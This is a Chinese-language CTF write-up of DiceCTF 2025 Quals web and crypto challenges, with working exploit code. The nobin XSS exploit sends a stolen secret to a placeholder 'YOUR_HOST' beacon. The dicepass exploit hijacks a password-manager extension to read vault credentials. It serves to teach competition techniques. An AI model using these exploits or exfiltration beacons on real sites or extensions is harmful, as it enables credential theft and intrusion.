DiceCTF 2025 Quals Writeups

發表於 2025-03-31

分類於 CTF

English

這次久違了和 ${cystick} 參加了 DiceCTF 2025 Quals，題目照往年一樣都是相當有難度的，不過也有許多有趣的題目。

題目名稱上有 * 的題目代表是我賽後才解的。

web

pyramid

這題是個類似傳銷類型的 web app，目標要拿到 100000000000 元換 flag。註冊時可以填寫推薦碼紀錄推薦人，然後自己也有推薦碼可以給人，而 cashout 時會看把一部分的 referral 給推薦人。

最相關的 code 就這幾段:

app.post('/new', (req, res) => {
	const token = random()

	const body = []
	req.on('data', Array.prototype.push.bind(body))
	req.on('end', () => {
		const data = Buffer.concat(body).toString()
		console.log('on end', data)
		const parsed = new URLSearchParams(data)
		const name = parsed.get('name')?.toString() ?? 'JD'
		const code = parsed.get('refer') ?? null

		// referrer receives the referral
		const r = referrer(code)
		if (r) {
			r.ref += 1
		}

		users.set(token, {
			name,
			code,
			ref: 0,
			bal: 0
		})
	})

	res.header('set-cookie', `token=${token}`)
	res.redirect('/')
})

app.get('/code', (req, res) => {
	const token = req.token
	if (token) {
		const code = random()
		codes.set(code, token)
		res.type('html').end(`
			${css}
			<h1>Referral code generated</h1>
			<p>Your code: <strong>${code}</strong></p>
			<a href="/">Home</a>
		`)
	}
})

// referrals translate 1:1 to coins
// you receive half of your referrals as coins
// your referrer receives the other half as kickback
//
// if your referrer is null, you can turn all referrals into coins
app.get('/cashout', (req, res) => {
	if (req.user) {
		const u = req.user
		const r = referrer(u.code)
		if (r) {
			;[u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
		} else {
			;[u.ref, u.bal] = [0, u.bal + u.ref]
		}
	}
	res.redirect('/')
})

雖然說直接註冊 100000000000 個帳號就能拿到足夠的錢了，但以現實層面來說這根本就做不完，所以要找其他方法。

我這邊利用的關鍵是 /new route 中你其實可以在它讀完 request body 前就先拿到 token，此時如果先不送 body 然後把 token 去 /code 那邊生成對應的 referral code，然後再把這個 referral code 當 body 送。此時就會導致 referrer(req.user.code) === req.user。

那這樣在 /cashout 那邊就會讓自己的 ref 變成 1.5 倍，然後 bal 多加上一半的 ref，因此只要重複 cashout 就能讓 bal 超過目標金額。

const net = require('net')

// Use this to attack the real server:
// socat tcp-l:3000,reuseaddr,fork,nodelay openssl:pyramid.dicec.tf:443
const target = new URL('http://localhost:3000/')
const newUrl = new URL('/new', target)

const token = Promise.withResolvers()
const code = Promise.withResolvers()
const registered = Promise.withResolvers()

const socket = net.connect({
	hostname: newUrl.hostname,
	port: newUrl.port
})
socket.on('connect', () => {
	socket.write(`POST ${newUrl.pathname} HTTP/1.1\r\nTransfer-Encoding: chunked\r\nHost: ${newUrl.hostname}\r\n\r\n`)
})
socket.on('data', data => {
	const body = data.toString()
	const tok = body.split('token=')[1].split('\r\n')[0]
	console.log('token', tok)
	token.resolve(tok)
	code.promise.then(cod => {
		const body = `name=peko&refer=${cod}`
		socket.end(body.length.toString(16) + '\r\n' + body + '\r\n0\r\n\r\n')
		registered.resolve()
	})
})

token.promise.then(async tok => {
	const res = await fetch(new URL('/code', target), {
		headers: {
			Cookie: `token=${tok}`
		}
	}).then(r => r.text())
	const cod = res.split('<strong>')[1].split('</strong>')[0]
	console.log('code', cod)
	code.resolve(cod)
})

registered.promise.then(async () => {
	const cod = await code.promise
	const tok = await token.promise
	await fetch(newUrl, {
		method: 'POST',
		body: `name=miko&refer=${cod}`
	})
	for (let i = 0; i < 100; i++) {
		await fetch(new URL('/cashout', target), {
			headers: {
				Cookie: `token=${tok}`
			}
		})
	}
	const resp = await fetch(target, {
		headers: {
			Cookie: `token=${tok}`
		}
	}).then(r => r.text())
	console.log(resp)
	const flag = await fetch(new URL('/buy', target), {
		headers: {
			Cookie: `token=${tok}`
		}
	}).then(r => r.text())
	console.log(flag)
})
// dice{007227589c05e703}

nobin

這題有個很簡單的 xss，然後目標要偷到 bot 的 secret 才能換 flag:

app.get("/flag", (req, res) => res.send(req.query.secret === secret ? FLAG : "No flag for you!"));
app.get("/xss", (req, res) => res.send(req.query.xss ?? "Hello, world!"));

然後 bot 會把 secret 放在一個叫做 shared storage 的地方要你去把它偷出來:

<script>
	document.querySelector('form').addEventListener('submit', async (e) => {
		e.preventDefault();
		const message = document.querySelector('textarea').value;
		await sharedStorage.set("message", message);
		document.querySelector('p').textContent = "Message saved!";
		setTimeout(() => {
		document.querySelector('p').textContent = "";
		}, 2000);
	});
</script>

let page = await context.newPage();
await page.goto(`http://localhost:${PORT}`, { timeout: 5000, waitUntil: 'domcontentloaded' });

// save secret
await page.waitForSelector("textarea[id=message]");
await page.type("textarea[id=message]", secret);
await page.click("input[type=submit]");
await sleep(3000);
await page.close();

// go to exploit page
page = await context.newPage();
await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' });
await sleep(90_000);

而這個 Shared Storage API 似乎是一個取代 third part cookies 的一套技術，其中一個目標是能保護隱私。而它保護隱私的方法是讓 shared storage 變成一個 write only 的儲存空間，而要讀取資料的話必須要從定義好的 output gate 才能做到。

具體來說，標準的讀取 shared storage 方法需要透過 window.sharedStorage.worklet.addModule 去把另外的 worklet 腳本加入，它會運行在另外的 js 執行環境中，其中能碰到的 api 很少，其中就包含了 sharedStorage.get 之類的 api。

然而要把資料傳出的部分才是主要的困難點，一般似乎只能透過 Private Aggregation API 做到，而它是讓瀏覽器幫你有限制的紀錄一些資訊，之後定期把加密過的資訊 POST 給 /.well-known/private-aggregation/report-protected-audience 來記錄。之後再透過一些第三方 TEE 解密才能拿到統整過的資料。

總之在這題的情景中我們沒辦法透過 private aggregation api 來拿到 flag，所以只好找其他的 side channel 來偷資料了。在 github 上也有找到相關的 side channel: #86, #136。不過那兩個一個很難實作，另一個不太穩定。

我這邊是在 worklet 中的 global 中有找到 crypto，所以想說能不能透過做一些比較耗時的 crypto 計算 (e.g. RSA key generation) 來做 timing side channel。實驗一下發現這個確實可行，只要 worklet 中反覆生成 RSA key 那外面生成 RSA key 的延遲就會增加。

因此可以寫出 exploit 去把 secret 偷出來:

;(async () => {
	// await sharedStorage.set('message', 'd8226cf1bd74e9ff')

	const blob = new Blob(
		[
			`
class MessageReading {
  async run(data) {
	const message = await sharedStorage.get("message");
	if(data.regex.test(message)){
		for(let i=0;i<10;i++)crypto.subtle.generateKey({name:'RSA-PSS',modulusLength:2048,publicExponent:new Uint8Array([0x01, 0x00, 0x01]),hash:'SHA-256'},true,['sign'])
	}
	return message;
  }
}
register("read-message", MessageReading)
`
		],
		{ type: 'text/javascript' }
	)
	await window.sharedStorage.worklet.addModule(URL.createObjectURL(blob))

	async function measure(n, fn) {
		const ar = []
		for (let i = 0; i < n; i++) {
			const st = performance.now()
			await fn()
			ar.push(performance.now() - st)
		}
		const s = ar.reduce((a, b) => a + b, 0) / n
		return s
	}
	const fn = () =>
		crypto.subtle.generateKey(
			{
				name: 'RSA-PSS',
				modulusLength: 2048,
				publicExponent: new Uint8Array([0x01, 0x00, 0x01]),
				hash: 'SHA-256'
			},
			true,
			['sign']
		)

	const report = arg => (new Image().src = 'https://YOUR_HOST/?' + new URLSearchParams({ arg }))

	const start = performance.now()
	const chars = [...'0123456789abcdef']
	let secret = ''
	while (secret.length < 8 * 2) {
		const regexes = chars.map(c => new RegExp(`^${secret}${c}`))
		const times = []
		for (const rg of regexes) {
			await window.sharedStorage.run('read-message', { keepAlive: true, data: { regex: rg } })
			const time = await measure(10, fn)
			times.push(time)
			console.log(rg, time)
		}
		const mx = Math.max(...times)
		const index = times.indexOf(mx)
		secret += chars[index]
		console.log(secret)
		report(secret)
	}
	console.log('took', performance.now() - start)
})()

/*
report
http://localhost:3000/xss?xss=%3Cscript%20src=%22https://YOUR_HOST/exp.js%22%3E%3C/script%3E
*/

*dicepass

這題我花了好久都沒解掉，結果賽後看解法才發現我離解掉這題只差一步而已 QQ

總之這題是個 chrome extension 題，要想辦法攻擊他們自己寫的 password manager extension，有 background & content scripts。flag 放在 vault 中，是一個未知網站的上的密碼。

首先 content script content.js 會用 comlink expose 一些功能出來到 main world window.dicepass，然後也用 comlink 向 background 溝通:

const Comlink = require("comlink");
const { chromeRuntimeMessageEndpoint } = require("comlink-adapters");

console.log("[dicepass] Hello from dicepass content script!");

let remote = null, id = null;
const context = {
	version: 1.0,
	extensionId: chrome.runtime.id,
	prevPassword: null,
	prevUsername: null,
	// ...
	async autofill() {
		if (!await context.isLoggedIn()) {
			alert("Please log in to dicepass first!");
			return;
		}

		const usernameInput = document.querySelector('[data-dicepass-username]');
		const passwordInput = document.querySelector('[data-dicepass-password]');

		if (context.prevUsername !== null && context.prevPassword !== null) {
			usernameInput.value = context.prevUsername;
			passwordInput.value = context.prevPassword;
			context.prevPassword = null;
			context.prevUsername = null;
			return;
		}

		if (await remote.hasPasswordFor(id)) {
			const { username, password } = await remote.getLogin(id);
			context.prevUsername = usernameInput.value;
			context.prevPassword = passwordInput.value;
			usernameInput.value = username;
			passwordInput.value = password;
			return;
		}
		else if (usernameInput.value && passwordInput.value) {
			context.saveCredentials(usernameInput.value, passwordInput.value);
		}
		else {
			alert("No password saved in dicepass for " + location.origin + ".\n" + "Please enter your username and password and then click again to save.");
		}
	}
};
// ...
(async () => {
	id = await chrome.runtime.sendMessage('init-content');
	remote = Comlink.wrap(chromeRuntimeMessageEndpoint());
})();

if (!document.querySelector(".dicepass-frame")) {
	const frame = document.createElement("iframe");
	document.body.appendChild(frame);
	frame.name = "dicepass";
	frame.className = "dicepass-frame";
	Comlink.expose(context, Comlink.windowEndpoint(window, frame.contentWindow, window.origin));
}
// ...

然後 comlink 作為一個 rpc library 自由度很高，基本上只要是 context object 能碰到的東西都能 read/set/call 等等。不過 Function constrcutor 由於 MV3 的 CSP 限制所以不能拿去 eval，不過能做到 prototype pollution。

我解這題唯一沒想到的一點就在這個地方: 用 dom clobbering 去汙染 usernameInput.value 使得它是個 dom element，這樣就能透過 dicepass.prevUsername.ownerDocument.defaultView 取得 content script 環境中的 window 物件了，這樣才有機會碰到 chrome.runtime 和 background 做溝通。

不過要做到這個要先有方法通過 await remote.hasPasswordFor(id)，也就是 background 要認為你這個 tab 存在紀錄過的帳密。不過這部分很好破解，因為 background 是這樣 track tab 和 origin 的對應關係的:

chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
	if (message === "init-popup" && sender.url === "chrome-extension://" + chrome.runtime.id + "/popup.html") {
		Comlink.expose(popupContext, chromeRuntimeMessageEndpoint());
		sendResponse("ok");
	}
	else if (message === "init-content" && sender.origin && sender.tab && sender.tab.id) {
		Comlink.expose(contentContext, chromeRuntimeMessageEndpoint({ tabId: sender.tab.id }));
		const { origins = {} } = chrome.storage.session.get("origins");
		origins[sender.tab.id] = sender.origin;
		chrome.storage.session.set({ origins });
		sendResponse(sender.tab.id);
	}
	return true;
});

可看到它是直接在 chrome.storage.session 中紀錄 tab id 和它對應的 origin，而 init-content 是由 content scripts 觸發的。然而 manifest.json 中定義 content scripts 是這麼做的:

"content_scripts": [{
	"matches": ["<all_urls>"],
	"all_frames": true,
	"js": ["content.js"],
	"css": ["content.css"]
}],

也就是說如果你的 tab 中有 iframe，那 content scripts 也會在 iframe 中執行，這樣就會導致 background 以為你 tab 的 origin 是 iframe 的 origin。因此利用這個功能可以在知道目標 origin 的情況下，觸發密碼的 autofill (且能讀取帳密)。

總之，現在先透過 iframe 汙染 background 的 origin，然後再透過 dom clobbering + comlink 就能取得 content script 下的 window 了。不過這樣要直接和 background 溝通有點困難，因為用兩層 comlink (用 main world 的 dicepass 去控制 content script 的 remote)似乎會卡死，所以能想辦法拿到 content script context 的 code execution 還是比較好。

這部分我在比賽中就發現了，只要直接 setTimeout(string) 就好，且它很神奇的不會被 content script 的 CSP 檔。這似乎是因為 setTimeout 遵守的 CSP 是 page CSP 有關，而且還是個 wontfix。

拿到 content script 環境下的控制權之後就簡單了，因為它 password 的 vault 是在 chrome.storage.local 中加密儲存的，格式:

type Vault = {
	// all fields are encrypted
	origin: string
	username: string
	password: string
}[]

而我們知道 bot 的 vault 中長這樣:

origin	username	password
https://dicepass.dicec.tf	test_user	test_password
???	flag	dice{???}

那我們只要把 vault[1] 的 password 搬過去到 vault[1] 就好了 XD，加密不完全的問題，據說是 unintended XD。

<div></div>
<form data-dicepass-username data-dicepass-password>
	<input name="value" />
</form>
<script type="module">
	async function contentScript() {
		const report = msg => {
			new Image().src = new URL('/report?' + new URLSearchParams({ msg }), location.href)
			console.log(msg)
		}
		const { vault } = await chrome.storage.local.get('vault')
		// vault[0].origin is encrypted 'https://dicepass.dicec.tf'
		if (vault[1]) {
			vault[0].username = vault[1].username
			vault[0].password = vault[1].password
			vault.length = 1
			await chrome.storage.local.set({ vault })
		}
		const login = await remote.getLogin(id)
		console.log(login)
		report(login.password)
	}

	const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
	onload = async () => {
		document.body.children[0].innerHTML = '<iframe src="https://dicepass.dicec.tf"></iframe>'
		await sleep(1000)
		// our current tab's origin is marked as 'https://dicepass.dicec.tf'
		// due to background bug
		await dicepass.autofill()
		const contentScriptWin = dicepass.prevUsername.ownerDocument.defaultView
		await contentScriptWin.setTimeout(`(${contentScript})()`)
	}
	// dice{extens1ons_ar3_s0_much_fun}
</script>

crypto

vorpal-sword

#!/usr/local/bin/python

import secrets
from Crypto.PublicKey import RSA

DEATH_CAUSES = [
	'a fever',
	'dysentery',
	'measles',
	'cholera',
	'typhoid',
	'exhaustion',
	'a snakebite',
	'a broken leg',
	'a broken arm',
	'drowning',
]

def run_ot(key, msg0, msg1):
	'''
	https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer
	'''
	x0 = secrets.randbelow(key.n)
	x1 = secrets.randbelow(key.n)
	print(f'n: {key.n}')
	print(f'e: {key.e}')
	print(f'x0: {x0}')
	print(f'x1: {x1}')
	v = int(input('v: '))
	assert 0 <= v < key.n, 'invalid value'
	k0 = pow(v - x0, key.d, key.n)
	k1 = pow(v - x1, key.d, key.n)
	m0 = int.from_bytes(msg0.encode(), 'big')
	m1 = int.from_bytes(msg1.encode(), 'big')
	c0 = (m0 + k0) % key.n
	c1 = (m1 + k1) % key.n
	print(f'c0: {c0}')
	print(f'c1: {c1}')

if __name__ == '__main__':
	with open('flag.txt') as f:
		flag = f.read().strip()

	print('=== CHOOSE YOUR OWN ADVENTURE: Vorpal Sword Edition ===')
	print('you enter a cave.')

	for _ in range(64):
		print('the tunnel forks ahead. do you take the left or right path?')
		key = RSA.generate(1024)
		msgs = [None, None]
		page = secrets.randbits(32)
		live = f'you continue walking. turn to page {page}.'
		die = f'you die of {secrets.choice(DEATH_CAUSES)}.'
		msgs = (live, die) if secrets.randbits(1) else (die, live)
		run_ot(key, *msgs)
		page_guess = int(input('turn to page: '))
		if page_guess != page:
			exit()

	print(f'you find a chest containing {flag}')

這題是個 RSA Oblivious transfer 的題目，每個 round 的 OT 都有兩個訊息 live or die，各有 $2^{32}$ 和 $10$ 種可能性。目標要拿到 live 訊息中的 page 才能技訓。

因為不知道 0 和 1 對應到的是 live 還是 die，所以直接走正常的 OT 沒辦法解這題。不過看到這題讓我想起了 zer0pts CTF 2022 - OK，只要設 $v = (x_0 + x_1)/2$ 那麼就會有 $k_0 + k_1 \equiv 0 \pmod{n}$ ，因此可得 $c_0 + c_1 \equiv m_0 + m_1 \pmod{n}$ 。

而這邊因為 die 只有 $10$ 種可能所以可以直接暴力去試，正確就能拿到想要的 live 訊息了。

from pwn import process, remote
from server import DEATH_CAUSES

# io = process(["python", "server.py"])
io = remote("dicec.tf", 31001)

for _ in range(64):
	io.recvuntil(b"n: ")
	n = int(io.recvline().strip())
	io.recvuntil(b"e: ")
	e = int(io.recvline().strip())
	io.recvuntil(b"x0: ")
	x0 = int(io.recvline().strip())
	io.recvuntil(b"x1: ")
	x1 = int(io.recvline().strip())
	v = (x0 + x1) * pow(2, -1, n) % n
	io.sendlineafter(b"v: ", str(v).encode())
	io.recvuntil(b"c0: ")
	c0 = int(io.recvline().strip())
	io.recvuntil(b"c1: ")
	c1 = int(io.recvline().strip())
	m0plusm1 = (c0 + c1) % n

	PREFIX = b"you continue walking. turn to page "
	for msg in DEATH_CAUSES:
		mx = int.from_bytes(f"you die of {msg}.".encode(), "big")
		my = (m0plusm1 - mx) % n
		pt = bytes.fromhex(f"{my:x}")
		if pt.startswith(PREFIX):
			try:
				page = int(pt[len(PREFIX) : -1])
				break
			except ValueError:
				continue
	print(f"{page = }")
	io.sendlineafter(b"turn to page: ", str(page).encode())
io.interactive()
# dice{gl3am1ng_g0ld_doubl00n}

satisfied

#!/usr/local/bin/python

from hamiltonicity import pedersen_commit, pedersen_open
from hamiltonicity import open_graph, permute_graph
from hamiltonicity import testcycle, check_graph
from hamiltonicity import comm_params
import json
import random

FLAG = open("flag.txt").read()
numrounds = 128

N = 5
payload = json.loads(input("send graph G: "))
G = payload["G"]
check_graph(G, N)

# how are you going to have a hamiltonian cycle if there aren't even enough edges in the graph :3c
if not all(g in [0, 1] for g_ in G for g in g_):
	print("this graph doesn't look quite right...")
	exit()

if not sum([g for g_ in G for g in g_]) < N:
	print("hey, that's too many edges in your graph...")
	exit()

print(f'now, prove that G has a hamiltonian cycle!')

for i in range(numrounds):
	print(f"round {i + 1}")
	
	payload = json.loads(input("send commitment A: "))
	A = payload["A"]
	check_graph(A,N)
	
	challenge = random.randint(0, 1)
	print(f"challenge bit is {challenge}")
	
	payload = json.loads(input("send proof z: "))
	z = payload["z"]
	
	# Challenge bit is 1:
	# You should open the hamiltonian path
	# z = [cycle, openings of cycle]
	if challenge:
		cycle, openings = z
		if not testcycle(A, N, cycle, openings):
			print("i'm not satisfied with your proof...")
			exit()
	
	# challenge bit is 0:
	# you should show permutation and open everything
	# z = [permutation, openings of everything]
	else:
		permutation, openings = z
		G_permuted = open_graph(A, N, openings)
		G_test = permute_graph(G, N, permutation)
		if G_permuted != G_test:
			print("i'm not satisfied with your proof...")
			exit()

print("okay, i'm satisfied now... have your flag")
print(FLAG)

其中的 hamiltonicity 來自這邊，提供了一些 functions 可以用來做 hamiltonian cycle 的 zkp。

而題目本身目標是要我們在一個 edges 比 vertex 要少的圖上透過 zkp 證明存在 hamiltonian cycle，但這顯然是不可能的，所以問題肯定出在 zkp protocol 上。

這邊的問題主要是出在它的 permute_graph 上:

def permute_graph(G, N, permutation):
	G_permuted = [[G[permutation[i]][permutation[j]] for j in range(N)] for i in range(N)]
	return G_permuted

可以發現如果 permutation 裡面包含重複的數字也能正常運作，所以你可以把一個 edges 不夠的圖直接變成完全圖，那麼就能證明存在 hamiltonian cycle 了。

from pwn import process, remote
from hamiltonicity import (
	commit_to_graph,
	permute_graph,
	testcycle,
	get_r_vals,
	open_graph,
)
import json

N = 5
G = [
	[1, 0, 0, 0, 0],
	[0, 1, 0, 0, 0],
	[0, 0, 1, 0, 0],
	[0, 0, 0, 1, 0],
	[0, 0, 0, 0, 0],
]
permutation = [0] * N
G_permuted = permute_graph(G, N, permutation)
cycle = [
	(0, 1),
	(1, 2),
	(2, 3),
	(3, 4),
	(4, 0),
]
A, openings = commit_to_graph(G, N)
A_permuted = permute_graph(A, N, permutation)
openings_permuted = permute_graph(openings, N, permutation)
assert open_graph(A_permuted, N, openings_permuted) == G_permuted
sent_openings = get_r_vals(openings_permuted, N, cycle)
assert testcycle(A_permuted, N, cycle, sent_openings)


# io = process(["python", "server.py"])
io = remote("dicec.tf", 31084)
io.sendline(json.dumps({"G": G}).encode())


for _ in range(128):
	io.sendline(json.dumps({"A": A_permuted}).encode())
	io.recvuntil(b"bit is ")
	bit = int(io.recvline().strip())
	print(f"{bit = }")
	if bit == 1:
		z = [cycle, sent_openings]
		io.sendline(json.dumps({"z": z}).encode())
	else:
		z = [permutation, openings_permuted]
		io.sendline(json.dumps({"z": z}).encode())

io.interactive()
# dice{wh4t5_y0ur_f4v0ur1t3_h4m1lt0n14n_s0ng?}

winxy-pistol

#!/usr/local/bin/python

import hashlib
import secrets
from Crypto.PublicKey import RSA
from Crypto.Util.strxor import strxor

DEATH_CAUSES = [
	'a fever',
	'dysentery',
	'measles',
	'cholera',
	'typhoid',
	'exhaustion',
	'a snakebite',
	'a broken leg',
	'a broken arm',
	'drowning',
]

def encrypt(k, msg):
	key = k.to_bytes(1024//8, 'big')
	msg = msg.encode().ljust(64, b'\x00')
	pad = hashlib.shake_256(key).digest(len(msg))
	return strxor(pad, msg)

def run_ot(key, msg0, msg1):
	'''
	https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer
	'''
	x0 = secrets.randbelow(key.n)
	x1 = secrets.randbelow(key.n)
	print(f'n: {key.n}')
	print(f'e: {key.e}')
	print(f'x0: {x0}')
	print(f'x1: {x1}')
	v = int(input('v: '))
	assert 0 <= v < key.n, 'invalid value'
	k0 = pow(v - x0, key.d, key.n)
	k1 = pow(v - x1, key.d, key.n)
	c0 = encrypt(k0, msg0)
	c1 = encrypt(k1, msg1)
	print(f'c0: {c0.hex()}')
	print(f'c1: {c1.hex()}')

if __name__ == '__main__':
	with open('flag.txt') as f:
		flag = f.read().strip()

	with open('key.pem', 'rb') as f:
		key = RSA.import_key(f.read())

	print('=== CHOOSE YOUR OWN ADVENTURE: Winxy Pistol Edition ===')
	print('you enter a cave.')

	for _ in range(64):
		print('the tunnel forks ahead. do you take the left or right path?')
		msgs = [None, None]
		page = secrets.randbits(32)
		live = f'you continue walking. turn to page {page}.'
		die = f'you die of {secrets.choice(DEATH_CAUSES)}.'
		msgs = (live, die) if secrets.randbits(1) else (die, live)
		run_ot(key, *msgs)
		page_guess = int(input('turn to page: '))
		if page_guess != page:
			exit()

	print(f'you find a chest containing {flag}')

這題類似前面 vorpal-sword 一樣試 RSA OT 題，但這邊它加密方式變成 shake256 + xor，因此前面 $k_0 + k_1 \equiv 0 \pmod{n}$ 的性質在這邊沒有作用。不過仔細一看還能發現這題改用了一個 static 的 RSA key，而非每次重新生成一個新的 RSA key，所以可以往這個方向去想。

我的作法是先使用正常 OT 拿 $m_0$ ，如果 $m_0$ 是 live 那就去下個 round，如果不是就多開一個 connection 想辦法求得 $m_1$ 。

假設原本的 connection 有 $x_0,x_1$ ，因為要拿 $m_0$ 所以可設 $v=x_0$ 那麼 $k_0=0$ ，此時 $k_1=(v-x_1)^d$ 。

而新開的 connection 有 $x_0',x_1'$ ，那麼可設 $v'-x_0'=v-x_1$ ，這樣 $k_0'=(v-x_1)^d=k_1$ 。此時利用 xor 的性質可知 $c_0' \oplus c_1 = m_0' \oplus m_1$ ，如果運氣好 $m_0'$ 是個 death 的訊息(短、且可以爆破)那就能得到 $m_1$ ，因此拿到 page 然後回到原本的 connection 繼續下個 round。如果運氣不好就多開一個 connection 即可。

import hashlib
import re

from Crypto.Util.strxor import strxor
from pwn import context, process, remote


def decrypt(k, ct):
	key = k.to_bytes(1024 // 8, "big")
	pad = hashlib.shake_256(key).digest(len(ct))
	return strxor(pad, ct)


def connect():
	# io = process(["python", "server.py"])
	io = remote("dicec.tf", 31002)
	return io


def recv(io):
	io.recvuntil(b"n: ")
	n = int(io.recvline().strip())
	io.recvuntil(b"e: ")
	e = int(io.recvline().strip())
	io.recvuntil(b"x0: ")
	x0 = int(io.recvline().strip())
	io.recvuntil(b"x1: ")
	x1 = int(io.recvline().strip())
	return n, e, x0, x1


def ot(io, v):
	io.sendlineafter(b"v: ", str(v).encode())
	io.recvuntil(b"c0: ")
	c0 = bytes.fromhex(io.recvlineS().strip())
	io.recvuntil(b"c1: ")
	c1 = bytes.fromhex(io.recvlineS().strip())
	return c0, c1


PAGE_RE = re.compile(rb"page (\d+)")

context.log_level = "error"
io = connect()

for _ in range(64):
	n, e, x0, x1 = recv(io)
	v = x0
	c0, c1 = ot(io, v)
	k0 = 0
	m0 = decrypt(k0, c0)
	print(m0)
	if m0.startswith(b"you die of "):
		while True:
			io2 = connect()
			_, _, x0p, _ = recv(io2)
			vp = (v - x1 + x0p) % n
			c0p, _ = ot(io2, vp)
			io2.close()
			m1xorm0p = strxor(c0p, c1)
			print(m1xorm0p)
			# we hope m0' is short (death), so the page part will not be xored
			# probability: 1/2
			if b"turn to page" in m1xorm0p:
				page = int(PAGE_RE.search(m1xorm0p).group(1))
				break
	else:
		page = int(PAGE_RE.search(m0).group(1))
	print(f"{page = }")
	io.sendlineafter(b"page: ", str(page).encode())

io.interactive()
# dice{lu5tr0us_j3wel_tr1nk3t}

fairy-ring

#!/usr/local/bin/python

import secrets
from Crypto.Util.strxor import strxor

from uov import uov_1p_pkc as uov
import uov_trapdoor
uov.set_random(secrets.token_bytes)

NAMES = ['oberon', 'titania', 'puck', 'gloriana', 'aibell', 'sebile']
MESSAGE = b'shrooms'

class Ring:
	def __init__(self, pks):
		self.pks = pks

	# sk should be the secret key corresponding to public key pks[idx]
	def sign(self, msg, sk, idx):
		xs = []
		t = uov.shake256(msg, uov.m_sz)
		for i, pk in enumerate(self.pks):
			if i != idx:
				x = secrets.token_bytes(uov.n_sz)
				xs.append(x)
				t = strxor(t, uov.pubmap(x, pk))
			else:
				xs.append(None)
		xs[idx] = uov_trapdoor.sample(uov, t, sk)
		return b''.join(xs)

	def verify(self, sig, msg):
		assert len(sig) == len(self.pks) * uov.n_sz, 'invalid signature'
		xs = [sig[i:i + uov.n_sz] for i in range(0, len(sig), uov.n_sz)]
		t = bytes(uov.m_sz)
		for x, pk in zip(xs, self.pks):
			t = strxor(t, uov.pubmap(x, pk))
		assert t == uov.shake256(msg, uov.m_sz), 'invalid signature'

if __name__ == '__main__':
	with open('flag.txt') as f:
		flag = f.read().strip()

	directory = {}
	for name in NAMES:
		with open(f'keys/{name}.pub', 'rb') as f:
			directory[name] = uov.expand_pk(f.read())

	print('=== FAIRIES ===')
	for name in NAMES:
		print(f'- {name}')
	print('===============')

	ring_size = int(input('ring size: '))
	assert 1 <= ring_size <= len(NAMES), 'invalid ring size'

	pks = []
	for i in range(ring_size):
		name = input(f'name {i + 1}: ')
		assert name in NAMES, f'not in directory'
		pks.append(directory[name])

	sig = bytes.fromhex(input('ring signature (hex): '))

	ring = Ring(pks)
	ring.verify(sig, MESSAGE)
	print(flag)

這題是關於 UOV (Unbalanced oil and vinegar) 的上的一個 ring signature scheme。UOV public key 本身是個 multivariant quadratic form，簡單來說就是一個

P: \mathbb{K}^n \rightarrow \mathbb{K}^m

的 map。其中的 trapdoor/private key 是個 $m$ 維的 linear space $O$ ，符合 $\forall o \in O \quad P(o) = 0$ 。而知道那個 $O$ 的作用是可以很容易的 invert 這個 quadratic map (即求解 $P(x) = y$ 的 $x$ )，因此可以拿來做 signature scheme。

這題的 UOV 使用的 field 是 $K=\mathbb{F}_{2^8}$ ，而 ring signature 的目標是要找 $x_0,\cdots,x_n$ 符合 $\sum_{i=0}^n P_i(x_i) = H(m)$ 。在知道任一個 private key 的情況下就任選 $n-1$ 個 $x_i$ ，然後利用 trapdoor 去 invert 剩下那一個即可，不過在這題沒有 private key 情況下就只好找看有沒有其他方法了。

仔細讀 code 可發現輸入要使用的 pks 時沒檢查有沒有重複:

pks = []
for i in range(ring_size):
	name = input(f'name {i + 1}: ')
	assert name in NAMES, f'not in directory'
	pks.append(directory[name])

假設 len(pks)==2 且 pks 中的兩個 pk 是重複的，那麼這個問題就化為了尋找任意 $x,y$ 符合 $P(x)+P(y)=H(m)=t$ 的問題了，感覺上比直接 invert 一個 quadratic map 多了一些自由度所以可能會比較好解。

查了一下我從這篇中得知 $P$ 這種 quadratic map 可以寫成 polar form:

P'(x,y)=P(x+y)-P(x)-P(y)

且 $P'$ 是 bilinear 的，性質很漂亮。

既然要解 $P(x)+P(y)=t$ ，就把 polar form 改寫成:

P(x)+P(y)=-P'(x,y)+P(x+y)=P'(x,y)+P(x+y)

P.S. 因為 $K$ 是 binary field 所以正負不用管。

既然 $P$ 不是 linear 的那就把 $x+y$ 設成一個隨機值 $a$ ，那麼可得:

P(x)+P(y)=P'(x,y)+P(a)=P'(x,x+a)+P(a)

其中 $P'(x,x+a)$ 是 linear 的 (也就是 $P'(x,x+a)=Ax$ for some $A$ )，而 $P(a)$ 是 constant，因此整個 $P(x)+P(y)$ 可說是 affine 的。

那麼 forge signature 就只要解一個 $Ax+P(a)=t$ 的 linear system 即可。

from sage.all import *
from binteger import Bin
from Crypto.Util.strxor import strxor
from tqdm import trange
from uov import uov_1p_pkc as uov
import secrets
import uov_trapdoor

uov.set_random(secrets.token_bytes)

NAMES = ["oberon", "titania", "puck", "gloriana", "aibell", "sebile"]
MESSAGE = b"shrooms"


class Ring:
	def __init__(self, pks):
		self.pks = pks

	# sk should be the secret key corresponding to public key pks[idx]
	def sign(self, msg, sk, idx):
		xs = []
		t = uov.shake256(msg, uov.m_sz)
		for i, pk in enumerate(self.pks):
			if i != idx:
				x = secrets.token_bytes(uov.n_sz)
				xs.append(x)
				t = strxor(t, uov.pubmap(x, pk))
			else:
				xs.append(None)
		xs[idx] = uov_trapdoor.sample(uov, t, sk)
		return b"".join(xs)

	def verify(self, sig, msg):
		assert len(sig) == len(self.pks) * uov.n_sz, "invalid signature"
		xs = [sig[i : i + uov.n_sz] for i in range(0, len(sig), uov.n_sz)]
		t = bytes(uov.m_sz)
		for x, pk in zip(xs, self.pks):
			t = strxor(t, uov.pubmap(x, pk))
		assert t == uov.shake256(msg, uov.m_sz), "invalid signature"


directory = {}
for name in NAMES:
	with open(f"keys/{name}.pub", "rb") as f:
		directory[name] = uov.expand_pk(f.read())


def polar_pub(x, y, pk):
	# this is linear is both x and y
	# ref: https://blog.evilmuff.in/oil-spill/
	xy = strxor(x, y)
	a = uov.pubmap(xy, pk)
	b = uov.pubmap(x, pk)
	c = uov.pubmap(y, pk)
	return strxor(strxor(a, b), c)


"""
we know
